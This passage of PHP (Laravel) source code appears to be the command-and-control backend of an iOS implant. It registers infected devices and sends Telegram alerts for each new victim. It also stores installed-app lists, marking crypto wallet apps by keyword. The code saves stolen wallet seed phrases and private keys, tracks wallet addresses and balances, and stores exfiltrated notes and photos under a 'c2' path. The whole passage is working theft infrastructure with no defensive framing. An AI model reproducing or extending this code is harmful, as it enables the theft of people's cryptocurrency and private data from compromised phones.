input('c'); $candidates[] = $request->input('channel'); foreach ($candidates as $value) { if (! is_string($value) || $value === '') { continue; } $value = trim($value); // HAR / implant: lowercase hex, typically 32 chars if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) { return strtolower(substr($value, 0, 64)); } } return null; } public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device { $deviceKey ??= $this->extractDeviceKey($payload); if (! $deviceKey) { return null; } $deviceModel = $this->extractDeviceModel($payload); $ios = $this->extractIosVersion($payload); $channelId = $this->extractChannelId($request, $payload); $ua = substr((string) $request->userAgent(), 0, 2000); $existing = Device::query()->where('device_id', $deviceKey)->first(); $attrs = [ 'ip' => $request->ip(), ]; if ($ua !== '') { $attrs['user_agent'] = $ua; } if ($deviceModel !== null) { $attrs['device_model'] = $deviceModel; } elseif ($existing) { $attrs['device_model'] = $existing->device_model; } if ($ios !== null) { $attrs['ios_version'] = $ios; } elseif ($existing) { $attrs['ios_version'] = $existing->ios_version; } if ($channelId !== null) { $attrs['channel_id'] = $channelId; } elseif ($existing) { $attrs['channel_id'] = $existing->channel_id; } // created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps) $device = Device::query()->updateOrCreate( ['device_id' => $deviceKey], $attrs ); if (! $existing) { $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $device->telegram_notified = true; $device->save(); } return $device; } /** * App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version). */ public function ingestInstalledApps(Device $device, ?array $payload): void { if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) { return; } $walletBundles = config('coruna.wallet_bundles', []); foreach ($payload['al'] as $item) { if (! is_array($item)) { continue; } $bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? ''); $name = (string) ($item['a'] ?? $item['name'] ?? $bundle); $version = isset($item['v']) ? (string) $item['v'] : null; if ($bundle === '') { continue; } $isWallet = in_array($bundle, $walletBundles, true) || (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name); DeviceApp::query()->updateOrCreate( ['device_id' => $device->id, 'bundle_id' => $bundle], [ 'name' => $name, 'version' => $version, 'is_wallet' => $isWallet, 'meta_json' => $item, ] ); } } /** * Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`). */ public function ingestDeviceEvent(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $eventName = $payload['et'] ?? $payload['event_name'] ?? null; $desc = $payload['desc'] ?? $payload['description'] ?? null; if ($eventName === null && $desc === null) { return; } $ctx = $payload['ctx'] ?? $payload['context'] ?? null; $contextJson = null; if (is_array($ctx)) { $contextJson = $ctx; } elseif ($ctx !== null) { $contextJson = ['value' => $ctx]; } DeviceEvent::query()->create([ 'device_id' => $device->id, 'device_key' => $device->device_id, 'event_name' => is_string($eventName) ? $eventName : null, 'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null, 'context_json' => $contextJson, ]); } public function ingestWalletSecrets(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $mnemonic = null; $priv = null; foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeMnemonic($payload[$key])) { $mnemonic = $payload[$key]; break; } } foreach (['privateKey', 'private_key', 'privkey', 'wif'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key])) { $priv = $payload[$key]; break; } } if ($mnemonic === null && $priv === null) { if (isset($payload['result']) || isset($payload['data'])) { Wallet::query()->create([ 'device_id' => $device->id, 'source_app' => $payload['pn'] ?? $payload['app'] ?? null, 'raw_json' => $payload, ]); } return; } $wallet = new Wallet([ 'device_id' => $device->id, 'source_app' => $payload['pn'] ?? $payload['app'] ?? null, 'raw_json' => $payload, ]); $wallet->mnemonic = $mnemonic; $wallet->privkey = $priv; $wallet->save(); } public function ingestAddresses(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $rows = []; // HAR `/api/user/status`: ba = { "
": [ { balance, chainId, chainType, symbol, ... }, ... ] } if (isset($payload['ba']) && is_array($payload['ba'])) { $rows = $this->normalizeBaAddressRows($payload['ba']); } elseif (isset($payload['data']) && is_array($payload['data'])) { $rows = $this->normalizeAddressRows($payload['data']); } elseif (isset($payload['result']) && is_array($payload['result'])) { $rows = $this->normalizeAddressRows($payload['result']); } else { $rows = $this->normalizeAddressRows($payload); } foreach ($rows as $row) { $address = $row['address'] ?? null; if (! $address || ! is_string($address)) { continue; } $chain = isset($row['chain']) && $row['chain'] !== '' ? (string) $row['chain'] : ''; $balance = isset($row['balance']) ? (string) $row['balance'] : null; $symbol = isset($row['symbol']) ? (string) $row['symbol'] : null; $existing = WalletAddress::query() ->where('device_id', $device->id) ->where('address', $address) ->where('chain', $chain) ->first(); $addr = WalletAddress::query()->updateOrCreate( ['device_id' => $device->id, 'address' => $address, 'chain' => $chain], [ 'balance' => $balance, 'symbol' => $symbol, 'meta_json' => $row, ] ); if (! $existing) { $this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol); $addr->telegram_notified = true; $addr->save(); } elseif ($balance !== null && $existing->balance !== $balance) { $this->telegram->notifyNewWallet($device->device_id, $address, $chain, $balance, $symbol); } } } public function ingestNotes(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $notes = $payload['notes'] ?? $payload['data'] ?? $payload['result'] ?? null; if (! is_array($notes)) { Note::query()->create([ 'device_id' => $device->id, 'title' => 'raw', 'body' => null, 'meta_json' => $payload, ]); return; } $list = array_is_list($notes) ? $notes : [$notes]; foreach ($list as $note) { if (! is_array($note)) { continue; } Note::query()->create([ 'device_id' => $device->id, 'title' => $note['title'] ?? $note['name'] ?? null, 'body' => $note['body'] ?? $note['content'] ?? $note['text'] ?? null, 'meta_json' => $note, ]); } } public function ingestPhotos(Device $device, array $filePaths, ?array $counters = null): void { foreach ($filePaths as $path) { if (! is_file($path)) { continue; } $bytes = file_get_contents($path); $sha = hash('sha256', $bytes); $rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path); Storage::disk('local')->put($rel, $bytes); Photo::query()->create([ 'device_id' => $device->id, 'sha256' => $sha, 'path' => $rel, 'size' => strlen($bytes), 'counters_json' => $counters, ]); } } private function extractDeviceModel(?array $payload): ?string { if (! is_array($payload)) { return null; } foreach (['deviceModel'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key])) { return $payload[$key]; } } // avatar/put often sends short model as `m` (e.g. iPhone9,1) if (! empty($payload['m']) && is_string($payload['m']) && preg_match('/^[A-Za-z]+\d/', $payload['m'])) { return $payload['m']; } $info = $payload['deviceInfo'] ?? null; if (is_array($info)) { foreach (['productType', 'machine', 'model'] as $key) { if (! empty($info[$key]) && is_string($info[$key])) { return $info[$key]; } } } return null; } private function extractIosVersion(?array $payload): ?string { if (! is_array($payload)) { return null; } // /api/user/get uses `v` for iOS version if (! empty($payload['v']) && is_string($payload['v']) && preg_match('/^\d+(\.\d+){1,3}$/', $payload['v'])) { return $payload['v']; } foreach (['pv', 'ios', 'ios_version', 'os', 'ver'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key])) { return $payload[$key]; } } $sv = $payload['systemVersion'] ?? null; if (is_array($sv) && ! empty($sv['ProductVersion']) && is_string($sv['ProductVersion'])) { return $sv['ProductVersion']; } if (is_string($sv) && $sv !== '') { return $sv; } $info = $payload['deviceInfo'] ?? null; if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) { return $info['productVersion']; } return null; } private function looksLikeMnemonic(string $value): bool { $words = preg_split('/\s+/', trim($value)) ?: []; return in_array(count($words), [12, 15, 18, 21, 24], true) && (bool) preg_match('/^[a-z]+(?:\s+[a-z]+)+$/i', trim($value)); } private function normalizeAddressRows(array $data): array { if (array_is_list($data)) { return array_values(array_filter($data, 'is_array')); } if (isset($data['address'])) { return [$data]; } $out = []; foreach ($data as $value) { if (is_array($value) && isset($value['address'])) { $out[] = $value; } } return $out; } /** * HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta). * * @param array